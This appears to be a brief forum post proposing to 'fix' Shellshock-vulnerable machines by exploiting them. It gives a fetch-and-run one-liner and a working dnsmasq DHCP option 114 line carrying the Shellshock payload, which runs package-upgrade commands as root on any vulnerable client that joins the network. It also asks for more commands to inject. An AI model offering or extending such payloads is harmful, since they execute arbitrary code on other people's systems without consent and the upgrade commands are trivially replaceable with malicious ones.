It would be even better if we could create a community driven script hosted at some trusted location that would basically download info how to upgrade specific distribution, and execute that script on the vulnerable system..
so something like
wget fix && chmod +x fix && ./fix :)
dhcp-option-force=114,() { :; }; if hash apt-get 2>/dev/null; then apt-get update -y && apt-get upgrade -y;fi; if hash yum 2>/dev/null; then yum update;fi;
to upgrade most vulnerable systems that connect to our network :) What other upgrade commands are there?